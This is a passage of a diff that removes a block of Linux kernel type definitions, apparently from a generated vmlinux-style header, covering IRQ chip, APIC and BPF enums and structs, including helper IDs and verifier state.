force_resume_depth; - struct proc_dir_entry *dir; - struct callback_head rcu; - struct kobject kobj; - struct mutex request_mutex; - int parent_irq; - struct module *owner; - const char *name; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct physid_mask { - long unsigned int mask[512]; -}; - -typedef struct physid_mask physid_mask_t; - -enum { - IRQ_SET_MASK_OK = 0, - IRQ_SET_MASK_OK_NOCOPY = 1, - IRQ_SET_MASK_OK_DONE = 2, -}; - -struct msi_msg; - -struct irq_chip { - const char *name; - unsigned int (*irq_startup)(struct irq_data *); - void (*irq_shutdown)(struct irq_data *); - void (*irq_enable)(struct irq_data *); - void (*irq_disable)(struct irq_data *); - void (*irq_ack)(struct irq_data *); - void (*irq_mask)(struct irq_data *); - void (*irq_mask_ack)(struct irq_data *); - void (*irq_unmask)(struct irq_data *); - void (*irq_eoi)(struct irq_data *); - int (*irq_set_affinity)(struct irq_data *, const struct cpumask *, bool); - int (*irq_retrigger)(struct irq_data *); - int (*irq_set_type)(struct irq_data *, unsigned int); - int (*irq_set_wake)(struct irq_data *, unsigned int); - void (*irq_bus_lock)(struct irq_data *); - void (*irq_bus_sync_unlock)(struct irq_data *); - void (*irq_suspend)(struct irq_data *); - void (*irq_resume)(struct irq_data *); - void (*irq_pm_shutdown)(struct irq_data *); - void (*irq_calc_mask)(struct irq_data *); - void (*irq_print_chip)(struct irq_data *, struct seq_file *); - int (*irq_request_resources)(struct irq_data *); - void (*irq_release_resources)(struct irq_data *); - void (*irq_compose_msi_msg)(struct irq_data *, struct msi_msg *); - void (*irq_write_msi_msg)(struct irq_data *, struct msi_msg *); - int (*irq_get_irqchip_state)(struct irq_data *, enum irqchip_irq_state, bool *); - int (*irq_set_irqchip_state)(struct irq_data *, enum irqchip_irq_state, bool); - int (*irq_set_vcpu_affinity)(struct irq_data *, void *); - void (*ipi_send_single)(struct irq_data *, unsigned int); - void (*ipi_send_mask)(struct irq_data *, const struct cpumask *); - int (*irq_nmi_setup)(struct irq_data *); - void (*irq_nmi_teardown)(struct irq_data *); - long unsigned int flags; -}; - -enum { - IRQD_TRIGGER_MASK = 15, - IRQD_SETAFFINITY_PENDING = 256, - IRQD_ACTIVATED = 512, - IRQD_NO_BALANCING = 1024, - IRQD_PER_CPU = 2048, - IRQD_AFFINITY_SET = 4096, - IRQD_LEVEL = 8192, - IRQD_WAKEUP_STATE = 16384, - IRQD_MOVE_PCNTXT = 32768, - IRQD_IRQ_DISABLED = 65536, - IRQD_IRQ_MASKED = 131072, - IRQD_IRQ_INPROGRESS = 262144, - IRQD_WAKEUP_ARMED = 524288, - IRQD_FORWARDED_TO_VCPU = 1048576, - IRQD_AFFINITY_MANAGED = 2097152, - IRQD_IRQ_STARTED = 4194304, - IRQD_MANAGED_SHUTDOWN = 8388608, - IRQD_SINGLE_TARGET = 16777216, - IRQD_DEFAULT_TRIGGER_SET = 33554432, - IRQD_CAN_RESERVE = 67108864, - IRQD_MSI_NOMASK_QUIRK = 134217728, - IRQD_HANDLE_ENFORCE_IRQCTX = 268435456, - IRQD_AFFINITY_ON_ACTIVATE = 536870912, - IRQD_IRQ_ENABLED_ON_SUSPEND = 1073741824, -}; - -enum irq_alloc_type { - X86_IRQ_ALLOC_TYPE_IOAPIC = 1, - X86_IRQ_ALLOC_TYPE_HPET = 2, - X86_IRQ_ALLOC_TYPE_PCI_MSI = 3, - X86_IRQ_ALLOC_TYPE_PCI_MSIX = 4, - X86_IRQ_ALLOC_TYPE_DMAR = 5, - X86_IRQ_ALLOC_TYPE_AMDVI = 6, - X86_IRQ_ALLOC_TYPE_UV = 7, -}; - -struct ioapic_alloc_info { - int pin; - int node; - u32 is_level: 1; - u32 active_low: 1; - u32 valid: 1; -}; - -struct uv_alloc_info { - int limit; - int blade; - long unsigned int offset; - char *name; -}; - -struct irq_alloc_info { - enum irq_alloc_type type; - u32 flags; - u32 devid; - irq_hw_number_t hwirq; - const struct cpumask *mask; - struct msi_desc *desc; - void *data; - union { - struct ioapic_alloc_info ioapic; - struct uv_alloc_info uv; - }; -}; - -struct irq_cfg { - unsigned int dest_apicid; - unsigned int vector; -}; - -typedef struct irq_desc *vector_irq_t[256]; - -struct irq_chip_regs { - long unsigned int enable; - long unsigned int disable; - long unsigned int mask; - long unsigned int ack; - long unsigned int eoi; - long unsigned int type; - long unsigned int polarity; -}; - -struct irq_chip_type { - struct irq_chip chip; - struct irq_chip_regs regs; - irq_flow_handler_t handler; - u32 type; - u32 mask_cache_priv; - u32 *mask_cache; -}; - -struct irq_chip_generic { - raw_spinlock_t lock; - void *reg_base; - u32 (*reg_readl)(void *); - void (*reg_writel)(u32, void *); - void (*suspend)(struct irq_chip_generic *); - void (*resume)(struct irq_chip_generic *); - unsigned int irq_base; - unsigned int irq_cnt; - u32 mask_cache; - u32 type_cache; - u32 polarity_cache; - u32 wake_enabled; - u32 wake_active; - unsigned int num_ct; - void *private; - long unsigned int installed; - long unsigned int unused; - struct irq_domain *domain; - struct list_head list; - struct irq_chip_type chip_types[0]; -}; - -enum irq_gc_flags { - IRQ_GC_INIT_MASK_CACHE = 1, - IRQ_GC_INIT_NESTED_LOCK = 2, - IRQ_GC_MASK_CACHE_PER_TYPE = 4, - IRQ_GC_NO_MASK = 8, - IRQ_GC_BE_IO = 16, -}; - -struct irq_domain_chip_generic { - unsigned int irqs_per_chip; - unsigned int num_chips; - unsigned int irq_flags_to_clear; - unsigned int irq_flags_to_set; - enum irq_gc_flags gc_flags; - struct irq_chip_generic *gc[0]; -}; - -enum { - IRQCHIP_FWNODE_REAL = 0, - IRQCHIP_FWNODE_NAMED = 1, - IRQCHIP_FWNODE_NAMED_ID = 2, -}; - -enum { - X86_IRQ_ALLOC_CONTIGUOUS_VECTORS = 1, - X86_IRQ_ALLOC_LEGACY = 2, -}; - -struct irqentry_state { - union { - bool exit_rcu; - bool lockdep; - }; -}; - -typedef struct irqentry_state irqentry_state_t; - -struct apic { - void (*eoi_write)(u32, u32); - void (*native_eoi_write)(u32, u32); - void (*write)(u32, u32); - u32 (*read)(u32); - void (*wait_icr_idle)(); - u32 (*safe_wait_icr_idle)(); - void (*send_IPI)(int, int); - void (*send_IPI_mask)(const struct cpumask *, int); - void (*send_IPI_mask_allbutself)(const struct cpumask *, int); - void (*send_IPI_allbutself)(int); - void (*send_IPI_all)(int); - void (*send_IPI_self)(int); - u32 disable_esr; - enum apic_delivery_modes delivery_mode; - bool dest_mode_logical; - u32 (*calc_dest_apicid)(unsigned int); - u64 (*icr_read)(); - void (*icr_write)(u32, u32); - int (*probe)(); - int (*acpi_madt_oem_check)(char *, char *); - int (*apic_id_valid)(u32); - int (*apic_id_registered)(); - bool (*check_apicid_used)(physid_mask_t *, int); - void (*init_apic_ldr)(); - void (*ioapic_phys_id_map)(physid_mask_t *, physid_mask_t *); - void (*setup_apic_routing)(); - int (*cpu_present_to_apicid)(int); - void (*apicid_to_cpu_present)(int, physid_mask_t *); - int (*check_phys_apicid_present)(int); - int (*phys_pkg_id)(int, int); - u32 (*get_apic_id)(long unsigned int); - u32 (*set_apic_id)(unsigned int); - int (*wakeup_secondary_cpu)(int, long unsigned int); - int (*wakeup_secondary_cpu_64)(int, long unsigned int); - void (*inquire_remote_apic)(int); - char *name; -}; - -struct legacy_pic { - int nr_legacy_irqs; - struct irq_chip *chip; - void (*mask)(unsigned int); - void (*unmask)(unsigned int); - void (*mask_all)(); - void (*restore_mask)(); - void (*init)(int); - int (*probe)(); - int (*irq_pending)(unsigned int); - void (*make_irq)(unsigned int); -}; - -struct apic_chip_data { - struct irq_cfg hw_irq_cfg; - unsigned int vector; - unsigned int prev_vector; - unsigned int cpu; - unsigned int prev_cpu; - unsigned int irq; - struct hlist_node clist; - unsigned int move_in_progress: 1; - unsigned int is_managed: 1; - unsigned int can_reserve: 1; - unsigned int has_reserved: 1; -}; - -struct irq_matrix; - -typedef void (*rcu_callback_t)(struct callback_head *); - -enum { - BPF_REG_0 = 0, - BPF_REG_1 = 1, - BPF_REG_2 = 2, - BPF_REG_3 = 3, - BPF_REG_4 = 4, - BPF_REG_5 = 5, - BPF_REG_6 = 6, - BPF_REG_7 = 7, - BPF_REG_8 = 8, - BPF_REG_9 = 9, - BPF_REG_10 = 10, - __MAX_BPF_REG = 11, -}; - -enum bpf_cmd { - BPF_MAP_CREATE = 0, - BPF_MAP_LOOKUP_ELEM = 1, - BPF_MAP_UPDATE_ELEM = 2, - BPF_MAP_DELETE_ELEM = 3, - BPF_MAP_GET_NEXT_KEY = 4, - BPF_PROG_LOAD = 5, - BPF_OBJ_PIN = 6, - BPF_OBJ_GET = 7, - BPF_PROG_ATTACH = 8, - BPF_PROG_DETACH = 9, - BPF_PROG_TEST_RUN = 10, - BPF_PROG_RUN = 10, - BPF_PROG_GET_NEXT_ID = 11, - BPF_MAP_GET_NEXT_ID = 12, - BPF_PROG_GET_FD_BY_ID = 13, - BPF_MAP_GET_FD_BY_ID = 14, - BPF_OBJ_GET_INFO_BY_FD = 15, - BPF_PROG_QUERY = 16, - BPF_RAW_TRACEPOINT_OPEN = 17, - BPF_BTF_LOAD = 18, - BPF_BTF_GET_FD_BY_ID = 19, - BPF_TASK_FD_QUERY = 20, - BPF_MAP_LOOKUP_AND_DELETE_ELEM = 21, - BPF_MAP_FREEZE = 22, - BPF_BTF_GET_NEXT_ID = 23, - BPF_MAP_LOOKUP_BATCH = 24, - BPF_MAP_LOOKUP_AND_DELETE_BATCH = 25, - BPF_MAP_UPDATE_BATCH = 26, - BPF_MAP_DELETE_BATCH = 27, - BPF_LINK_CREATE = 28, - BPF_LINK_UPDATE = 29, - BPF_LINK_GET_FD_BY_ID = 30, - BPF_LINK_GET_NEXT_ID = 31, - BPF_ENABLE_STATS = 32, - BPF_ITER_CREATE = 33, - BPF_LINK_DETACH = 34, - BPF_PROG_BIND_MAP = 35, -}; - -enum bpf_link_type { - BPF_LINK_TYPE_UNSPEC = 0, - BPF_LINK_TYPE_RAW_TRACEPOINT = 1, - BPF_LINK_TYPE_TRACING = 2, - BPF_LINK_TYPE_CGROUP = 3, - BPF_LINK_TYPE_ITER = 4, - BPF_LINK_TYPE_NETNS = 5, - BPF_LINK_TYPE_XDP = 6, - BPF_LINK_TYPE_PERF_EVENT = 7, - BPF_LINK_TYPE_KPROBE_MULTI = 8, - BPF_LINK_TYPE_STRUCT_OPS = 9, - MAX_BPF_LINK_TYPE = 10, -}; - -enum { - BPF_ANY = 0, - BPF_NOEXIST = 1, - BPF_EXIST = 2, - BPF_F_LOCK = 4, -}; - -enum { - BPF_F_NO_PREALLOC = 1, - BPF_F_NO_COMMON_LRU = 2, - BPF_F_NUMA_NODE = 4, - BPF_F_RDONLY = 8, - BPF_F_WRONLY = 16, - BPF_F_STACK_BUILD_ID = 32, - BPF_F_ZERO_SEED = 64, - BPF_F_RDONLY_PROG = 128, - BPF_F_WRONLY_PROG = 256, - BPF_F_CLONE = 512, - BPF_F_MMAPABLE = 1024, - BPF_F_PRESERVE_ELEMS = 2048, - BPF_F_INNER_MAP = 4096, -}; - -enum bpf_stats_type { - BPF_STATS_RUN_TIME = 0, -}; - -enum bpf_func_id { - BPF_FUNC_unspec = 0, - BPF_FUNC_map_lookup_elem = 1, - BPF_FUNC_map_update_elem = 2, - BPF_FUNC_map_delete_elem = 3, - BPF_FUNC_probe_read = 4, - BPF_FUNC_ktime_get_ns = 5, - BPF_FUNC_trace_printk = 6, - BPF_FUNC_get_prandom_u32 = 7, - BPF_FUNC_get_smp_processor_id = 8, - BPF_FUNC_skb_store_bytes = 9, - BPF_FUNC_l3_csum_replace = 10, - BPF_FUNC_l4_csum_replace = 11, - BPF_FUNC_tail_call = 12, - BPF_FUNC_clone_redirect = 13, - BPF_FUNC_get_current_pid_tgid = 14, - BPF_FUNC_get_current_uid_gid = 15, - BPF_FUNC_get_current_comm = 16, - BPF_FUNC_get_cgroup_classid = 17, - BPF_FUNC_skb_vlan_push = 18, - BPF_FUNC_skb_vlan_pop = 19, - BPF_FUNC_skb_get_tunnel_key = 20, - BPF_FUNC_skb_set_tunnel_key = 21, - BPF_FUNC_perf_event_read = 22, - BPF_FUNC_redirect = 23, - BPF_FUNC_get_route_realm = 24, - BPF_FUNC_perf_event_output = 25, - BPF_FUNC_skb_load_bytes = 26, - BPF_FUNC_get_stackid = 27, - BPF_FUNC_csum_diff = 28, - BPF_FUNC_skb_get_tunnel_opt = 29, - BPF_FUNC_skb_set_tunnel_opt = 30, - BPF_FUNC_skb_change_proto = 31, - BPF_FUNC_skb_change_type = 32, - BPF_FUNC_skb_under_cgroup = 33, - BPF_FUNC_get_hash_recalc = 34, - BPF_FUNC_get_current_task = 35, - BPF_FUNC_probe_write_user = 36, - BPF_FUNC_current_task_under_cgroup = 37, - BPF_FUNC_skb_change_tail = 38, - BPF_FUNC_skb_pull_data = 39, - BPF_FUNC_csum_update = 40, - BPF_FUNC_set_hash_invalid = 41, - BPF_FUNC_get_numa_node_id = 42, - BPF_FUNC_skb_change_head = 43, - BPF_FUNC_xdp_adjust_head = 44, - BPF_FUNC_probe_read_str = 45, - BPF_FUNC_get_socket_cookie = 46, - BPF_FUNC_get_socket_uid = 47, - BPF_FUNC_set_hash = 48, - BPF_FUNC_setsockopt = 49, - BPF_FUNC_skb_adjust_room = 50, - BPF_FUNC_redirect_map = 51, - BPF_FUNC_sk_redirect_map = 52, - BPF_FUNC_sock_map_update = 53, - BPF_FUNC_xdp_adjust_meta = 54, - BPF_FUNC_perf_event_read_value = 55, - BPF_FUNC_perf_prog_read_value = 56, - BPF_FUNC_getsockopt = 57, - BPF_FUNC_override_return = 58, - BPF_FUNC_sock_ops_cb_flags_set = 59, - BPF_FUNC_msg_redirect_map = 60, - BPF_FUNC_msg_apply_bytes = 61, - BPF_FUNC_msg_cork_bytes = 62, - BPF_FUNC_msg_pull_data = 63, - BPF_FUNC_bind = 64, - BPF_FUNC_xdp_adjust_tail = 65, - BPF_FUNC_skb_get_xfrm_state = 66, - BPF_FUNC_get_stack = 67, - BPF_FUNC_skb_load_bytes_relative = 68, - BPF_FUNC_fib_lookup = 69, - BPF_FUNC_sock_hash_update = 70, - BPF_FUNC_msg_redirect_hash = 71, - BPF_FUNC_sk_redirect_hash = 72, - BPF_FUNC_lwt_push_encap = 73, - BPF_FUNC_lwt_seg6_store_bytes = 74, - BPF_FUNC_lwt_seg6_adjust_srh = 75, - BPF_FUNC_lwt_seg6_action = 76, - BPF_FUNC_rc_repeat = 77, - BPF_FUNC_rc_keydown = 78, - BPF_FUNC_skb_cgroup_id = 79, - BPF_FUNC_get_current_cgroup_id = 80, - BPF_FUNC_get_local_storage = 81, - BPF_FUNC_sk_select_reuseport = 82, - BPF_FUNC_skb_ancestor_cgroup_id = 83, - BPF_FUNC_sk_lookup_tcp = 84, - BPF_FUNC_sk_lookup_udp = 85, - BPF_FUNC_sk_release = 86, - BPF_FUNC_map_push_elem = 87, - BPF_FUNC_map_pop_elem = 88, - BPF_FUNC_map_peek_elem = 89, - BPF_FUNC_msg_push_data = 90, - BPF_FUNC_msg_pop_data = 91, - BPF_FUNC_rc_pointer_rel = 92, - BPF_FUNC_spin_lock = 93, - BPF_FUNC_spin_unlock = 94, - BPF_FUNC_sk_fullsock = 95, - BPF_FUNC_tcp_sock = 96, - BPF_FUNC_skb_ecn_set_ce = 97, - BPF_FUNC_get_listener_sock = 98, - BPF_FUNC_skc_lookup_tcp = 99, - BPF_FUNC_tcp_check_syncookie = 100, - BPF_FUNC_sysctl_get_name = 101, - BPF_FUNC_sysctl_get_current_value = 102, - BPF_FUNC_sysctl_get_new_value = 103, - BPF_FUNC_sysctl_set_new_value = 104, - BPF_FUNC_strtol = 105, - BPF_FUNC_strtoul = 106, - BPF_FUNC_sk_storage_get = 107, - BPF_FUNC_sk_storage_delete = 108, - BPF_FUNC_send_signal = 109, - BPF_FUNC_tcp_gen_syncookie = 110, - BPF_FUNC_skb_output = 111, - BPF_FUNC_probe_read_user = 112, - BPF_FUNC_probe_read_kernel = 113, - BPF_FUNC_probe_read_user_str = 114, - BPF_FUNC_probe_read_kernel_str = 115, - BPF_FUNC_tcp_send_ack = 116, - BPF_FUNC_send_signal_thread = 117, - BPF_FUNC_jiffies64 = 118, - BPF_FUNC_read_branch_records = 119, - BPF_FUNC_get_ns_current_pid_tgid = 120, - BPF_FUNC_xdp_output = 121, - BPF_FUNC_get_netns_cookie = 122, - BPF_FUNC_get_current_ancestor_cgroup_id = 123, - BPF_FUNC_sk_assign = 124, - BPF_FUNC_ktime_get_boot_ns = 125, - BPF_FUNC_seq_printf = 126, - BPF_FUNC_seq_write = 127, - BPF_FUNC_sk_cgroup_id = 128, - BPF_FUNC_sk_ancestor_cgroup_id = 129, - BPF_FUNC_ringbuf_output = 130, - BPF_FUNC_ringbuf_reserve = 131, - BPF_FUNC_ringbuf_submit = 132, - BPF_FUNC_ringbuf_discard = 133, - BPF_FUNC_ringbuf_query = 134, - BPF_FUNC_csum_level = 135, - BPF_FUNC_skc_to_tcp6_sock = 136, - BPF_FUNC_skc_to_tcp_sock = 137, - BPF_FUNC_skc_to_tcp_timewait_sock = 138, - BPF_FUNC_skc_to_tcp_request_sock = 139, - BPF_FUNC_skc_to_udp6_sock = 140, - BPF_FUNC_get_task_stack = 141, - BPF_FUNC_load_hdr_opt = 142, - BPF_FUNC_store_hdr_opt = 143, - BPF_FUNC_reserve_hdr_opt = 144, - BPF_FUNC_inode_storage_get = 145, - BPF_FUNC_inode_storage_delete = 146, - BPF_FUNC_d_path = 147, - BPF_FUNC_copy_from_user = 148, - BPF_FUNC_snprintf_btf = 149, - BPF_FUNC_seq_printf_btf = 150, - BPF_FUNC_skb_cgroup_classid = 151, - BPF_FUNC_redirect_neigh = 152, - BPF_FUNC_per_cpu_ptr = 153, - BPF_FUNC_this_cpu_ptr = 154, - BPF_FUNC_redirect_peer = 155, - BPF_FUNC_task_storage_get = 156, - BPF_FUNC_task_storage_delete = 157, - BPF_FUNC_get_current_task_btf = 158, - BPF_FUNC_bprm_opts_set = 159, - BPF_FUNC_ktime_get_coarse_ns = 160, - BPF_FUNC_ima_inode_hash = 161, - BPF_FUNC_sock_from_file = 162, - BPF_FUNC_check_mtu = 163, - BPF_FUNC_for_each_map_elem = 164, - BPF_FUNC_snprintf = 165, - BPF_FUNC_sys_bpf = 166, - BPF_FUNC_btf_find_by_name_kind = 167, - BPF_FUNC_sys_close = 168, - BPF_FUNC_timer_init = 169, - BPF_FUNC_timer_set_callback = 170, - BPF_FUNC_timer_start = 171, - BPF_FUNC_timer_cancel = 172, - BPF_FUNC_get_func_ip = 173, - BPF_FUNC_get_attach_cookie = 174, - BPF_FUNC_task_pt_regs = 175, - BPF_FUNC_get_branch_snapshot = 176, - BPF_FUNC_trace_vprintk = 177, - BPF_FUNC_skc_to_unix_sock = 178, - BPF_FUNC_kallsyms_lookup_name = 179, - BPF_FUNC_find_vma = 180, - BPF_FUNC_loop = 181, - BPF_FUNC_strncmp = 182, - BPF_FUNC_get_func_arg = 183, - BPF_FUNC_get_func_ret = 184, - BPF_FUNC_get_func_arg_cnt = 185, - BPF_FUNC_get_retval = 186, - BPF_FUNC_set_retval = 187, - BPF_FUNC_xdp_get_buff_len = 188, - BPF_FUNC_xdp_load_bytes = 189, - BPF_FUNC_xdp_store_bytes = 190, - BPF_FUNC_copy_from_user_task = 191, - BPF_FUNC_skb_set_tstamp = 192, - BPF_FUNC_ima_file_hash = 193, - BPF_FUNC_kptr_xchg = 194, - BPF_FUNC_map_lookup_percpu_elem = 195, - BPF_FUNC_skc_to_mptcp_sock = 196, - BPF_FUNC_dynptr_from_mem = 197, - BPF_FUNC_ringbuf_reserve_dynptr = 198, - BPF_FUNC_ringbuf_submit_dynptr = 199, - BPF_FUNC_ringbuf_discard_dynptr = 200, - BPF_FUNC_dynptr_read = 201, - BPF_FUNC_dynptr_write = 202, - BPF_FUNC_dynptr_data = 203, - BPF_FUNC_tcp_raw_gen_syncookie_ipv4 = 204, - BPF_FUNC_tcp_raw_gen_syncookie_ipv6 = 205, - BPF_FUNC_tcp_raw_check_syncookie_ipv4 = 206, - BPF_FUNC_tcp_raw_check_syncookie_ipv6 = 207, - BPF_FUNC_ktime_get_tai_ns = 208, - BPF_FUNC_user_ringbuf_drain = 209, - BPF_FUNC_cgrp_storage_get = 210, - BPF_FUNC_cgrp_storage_delete = 211, - __BPF_FUNC_MAX_ID = 212, -}; - -struct bpf_prog_info { - __u32 type; - __u32 id; - __u8 tag[8]; - __u32 jited_prog_len; - __u32 xlated_prog_len; - __u64 jited_prog_insns; - __u64 xlated_prog_insns; - __u64 load_time; - __u32 created_by_uid; - __u32 nr_map_ids; - __u64 map_ids; - char name[16]; - __u32 ifindex; - __u32 gpl_compatible: 1; - __u64 netns_dev; - __u64 netns_ino; - __u32 nr_jited_ksyms; - __u32 nr_jited_func_lens; - __u64 jited_ksyms; - __u64 jited_func_lens; - __u32 btf_id; - __u32 func_info_rec_size; - __u64 func_info; - __u32 nr_func_info; - __u32 nr_line_info; - __u64 line_info; - __u64 jited_line_info; - __u32 nr_jited_line_info; - __u32 line_info_rec_size; - __u32 jited_line_info_rec_size; - __u32 nr_prog_tags; - __u64 prog_tags; - __u64 run_time_ns; - __u64 run_cnt; - __u64 recursion_misses; - __u32 verified_insns; - __u32 attach_btf_obj_id; - __u32 attach_btf_id; -}; - -struct bpf_map_info { - __u32 type; - __u32 id; - __u32 key_size; - __u32 value_size; - __u32 max_entries; - __u32 map_flags; - char name[16]; - __u32 ifindex; - __u32 btf_vmlinux_value_type_id; - __u64 netns_dev; - __u64 netns_ino; - __u32 btf_id; - __u32 btf_key_type_id; - __u32 btf_value_type_id; - __u64 map_extra; -}; - -struct bpf_btf_info { - __u64 btf; - __u32 btf_size; - __u32 id; - __u64 name; - __u32 name_len; - __u32 kernel_btf; -}; - -struct bpf_link_info { - __u32 type; - __u32 id; - __u32 prog_id; - union { - struct { - __u64 tp_name; - __u32 tp_name_len; - } raw_tracepoint; - struct { - __u32 attach_type; - __u32 target_obj_id; - __u32 target_btf_id; - } tracing; - struct { - __u64 cgroup_id; - __u32 attach_type; - } cgroup; - struct { - __u64 target_name; - __u32 target_name_len; - union { - struct { - __u32 map_id; - } map; - }; - union { - struct { - __u64 cgroup_id; - __u32 order; - } cgroup; - struct { - __u32 tid; - __u32 pid; - } task; - }; - } iter; - struct { - __u32 netns_ino; - __u32 attach_type; - } netns; - struct { - __u32 ifindex; - } xdp; - }; -}; - -enum bpf_task_fd_type { - BPF_FD_TYPE_RAW_TRACEPOINT = 0, - BPF_FD_TYPE_TRACEPOINT = 1, - BPF_FD_TYPE_KPROBE = 2, - BPF_FD_TYPE_KRETPROBE = 3, - BPF_FD_TYPE_UPROBE = 4, - BPF_FD_TYPE_URETPROBE = 5, -}; - -struct bpf_spin_lock { - __u32 val; -}; - -enum tk_offsets { - TK_OFFS_REAL = 0, - TK_OFFS_BOOT = 1, - TK_OFFS_TAI = 2, - TK_OFFS_MAX = 3, -}; - -struct fd { - struct file *file; - unsigned int flags; -}; - -typedef struct { - struct lockdep_map dep_map; - struct task_struct *owner; -} local_lock_t; - -struct rhash_lock_head; - -struct bucket_table { - unsigned int size; - unsigned int nest; - u32 hash_rnd; - struct list_head walkers; - struct callback_head rcu; - struct bucket_table *future_tbl; - struct lockdep_map dep_map; - long: 64; - long: 64; - long: 64; - long: 64; - struct rhash_lock_head *buckets[0]; -}; - -struct fdtable { - unsigned int max_fds; - struct file **fd; - long unsigned int *close_on_exec; - long unsigned int *open_fds; - long unsigned int *full_fds_bits; - struct callback_head rcu; -}; - -struct files_struct { - atomic_t count; - bool resize_in_progress; - wait_queue_head_t resize_wait; - struct fdtable *fdt; - struct fdtable fdtab; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - spinlock_t file_lock; - unsigned int next_fd; - long unsigned int close_on_exec_init[1]; - long unsigned int open_fds_init[1]; - long unsigned int full_fds_bits_init[1]; - struct file *fd_array[64]; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct xa_node { - unsigned char shift; - unsigned char offset; - unsigned char count; - unsigned char nr_values; - struct xa_node *parent; - struct xarray *array; - union { - struct list_head private_list; - struct callback_head callback_head; - }; - void *slots[64]; - union { - long unsigned int tags[3]; - long unsigned int marks[3]; - }; -}; - -struct radix_tree_preload { - local_lock_t lock; - unsigned int nr; - struct xa_node *nodes; -}; - -typedef sockptr_t bpfptr_t; - -struct btf_struct_meta { - u32 btf_id; - struct btf_record *record; - struct btf_field_offs *field_offs; -}; - -typedef unsigned int (*bpf_func_t)(const void *, const struct bpf_insn *); - -struct bpf_verifier_log { - u32 level; - char kbuf[1024]; - char *ubuf; - u32 len_used; - u32 len_total; -}; - -struct bpf_subprog_info { - u32 start; - u32 linfo_idx; - u16 stack_depth; - bool has_tail_call; - bool tail_call_reachable; - bool has_ld_abs; - bool is_async_cb; -}; - -struct bpf_id_pair { - u32 old; - u32 cur; -}; - -struct bpf_verifier_ops; - -struct bpf_verifier_stack_elem; - -struct bpf_verifier_state; - -struct bpf_verifier_state_list; - -struct bpf_insn_aux_data; - -struct bpf_verifier_env { - u32 insn_idx; - u32 prev_insn_idx; - struct bpf_prog *prog; - const struct bpf_verifier_ops *ops; - struct bpf_verifier_stack_elem *head; - int stack_size; - bool strict_alignment; - bool test_state_freq; - struct bpf_verifier_state *cur_state; - struct bpf_verifier_state_list **explored_states; - struct bpf_verifier_state_list *free_list; - struct bpf_map *used_maps[64]; - struct btf_mod_pair used_btfs[64]; - u32 used_map_cnt; - u32 used_btf_cnt; - u32 id_gen; - bool explore_alu_limits; - bool allow_ptr_leaks; - bool allow_uninit_stack; - bool bpf_capable; - bool bypass_spec_v1; - bool bypass_spec_v4; - bool seen_direct_write; - bool rcu_tag_supported; - struct bpf_insn_aux_data *insn_aux_data; - const struct bpf_line_info *prev_linfo; - struct bpf_verifier_log log; - struct bpf_subprog_info subprog_info[257]; - struct bpf_id_pair idmap_scratch[600]; - struct { - int *insn_state; - int *insn_stack; - int cur_stack; - } cfg; - u32 pass_cnt; - u32 subprog_cnt; - u32 prev_insn_processed; - u32 insn_processed; - u32 prev_jmps_processed; - u32 jmps_processed; - u64 verification_time; - u32 max_states_per_insn; - u32 total_states; - u32 peak_states; - u32 longest_mark_read_walk; - bpfptr_t fd_array; - u32 scratched_regs; - u64 scratched_stack_slots; - u32 prev_log_len; - u32 prev_insn_print_len; - char type_str_buf[128]; -}; - -enum bpf_dynptr_type { - BPF_DYNPTR_TYPE_INVALID = 0, - BPF_DYNPTR_TYPE_LOCAL = 1, - BPF_DYNPTR_TYPE_RINGBUF = 2, -}; - -struct tnum { - u64 value; - u64 mask; -}; - -enum bpf_reg_liveness { - REG_LIVE_NONE = 0, - REG_LIVE_READ32 = 1, - REG_LIVE_READ64 = 2, - REG_LIVE_READ = 3, - REG_LIVE_WRITTEN = 4, - REG_LIVE_DONE = 8, -}; - -struct bpf_reg_state { - enum bpf_reg_type type; - s32 off; - union { - int range; - struct { - struct bpf_map *map_ptr; - u32 map_uid; - }; - struct { - struct btf *btf; - u32 btf_id; - }; - u32 mem_size; - struct { - enum bpf_dynptr_type type; - bool first_slot; - } dynptr; - struct { - long unsigned int raw1; - long unsigned int raw2; - } raw; - u32 subprogno; - }; - u32 id; - u32 ref_obj_id; - struct tnum var_off; - s64 smin_value; - s64 smax_value; - u64 umin_value; - u64 umax_value; - s32 s32_min_value; - s32 s32_max_value; - u32 u32_min_value; - u32 u32_max_value; - struct bpf_reg_state *parent; - u32 frameno; - s32 subreg_def; - enum bpf_reg_liveness live; - bool precise; -}; - -struct bpf_reference_state; - -struct bpf_stack_state; - -struct bpf_func_state { - struct bpf_reg_state regs[11]; - int callsite; - u32 frameno; - u32 subprogno; - u32 async_entry_cnt; - bool in_callback_fn; - struct tnum callback_ret_range; - bool in_async_callback_fn; - int acquired_refs; - struct bpf_reference_state *refs; - int allocated_stack; - struct bpf_stack_state *stack; -}; - -enum bpf_type_flag { - PTR_MAYBE_NULL = 256, - MEM_RDONLY = 512, - MEM_RINGBUF = 1024, - MEM_USER = 2048, - MEM_PERCPU = 4096, - OBJ_RELEASE = 8192, - PTR_UNTRUSTED = 16384, - MEM_UNINIT = 32768, - DYNPTR_TYPE_LOCAL = 65536, - DYNPTR_TYPE_RINGBUF = 131072, - MEM_FIXED_SIZE = 262144, - MEM_ALLOC = 524288, - PTR_TRUSTED = 1048576, - MEM_RCU = 2097152, - __BPF_TYPE_FLAG_MAX = 2097153, - __BPF_TYPE_LAST_FLAG = 2097152, -}; - -enum bpf_arg_type { - ARG_DONTCARE = 0, - ARG_CONST_MAP_PTR = 1, - ARG_PTR_TO_MAP_KEY = 2, - ARG_PTR_TO_MAP_VALUE = 3, - ARG_PTR_TO_MEM = 4, - ARG_CONST_SIZE = 5, - ARG_CONST_SIZE_OR_ZERO = 6, - ARG_PTR_TO_CTX = 7, - ARG_ANYTHING = 8, - ARG_PTR_TO_SPIN_LOCK = 9, - ARG_PTR_TO_SOCK_COMMON = 10, - ARG_PTR_TO_INT = 11, - ARG_PTR_TO_LONG = 12, - ARG_PTR_TO_SOCKET = 13, - ARG_PTR_TO_BTF_ID = 14, - ARG_PTR_TO_RINGBUF_MEM = 15, - ARG_CONST_ALLOC_SIZE_OR_ZERO = 16, - ARG_PTR_TO_BTF_ID_SOCK_COMMON = 17, - ARG_PTR_TO_PERCPU_BTF_ID = 18, - ARG_PTR_TO_FUNC = 19, - ARG_PTR_TO_STACK = 20, - ARG_PTR_TO_CONST_STR = 21, - ARG_PTR_TO_TIMER = 22, - ARG_PTR_TO_KPTR = 23, - ARG_PTR_TO_DYNPTR = 24, - 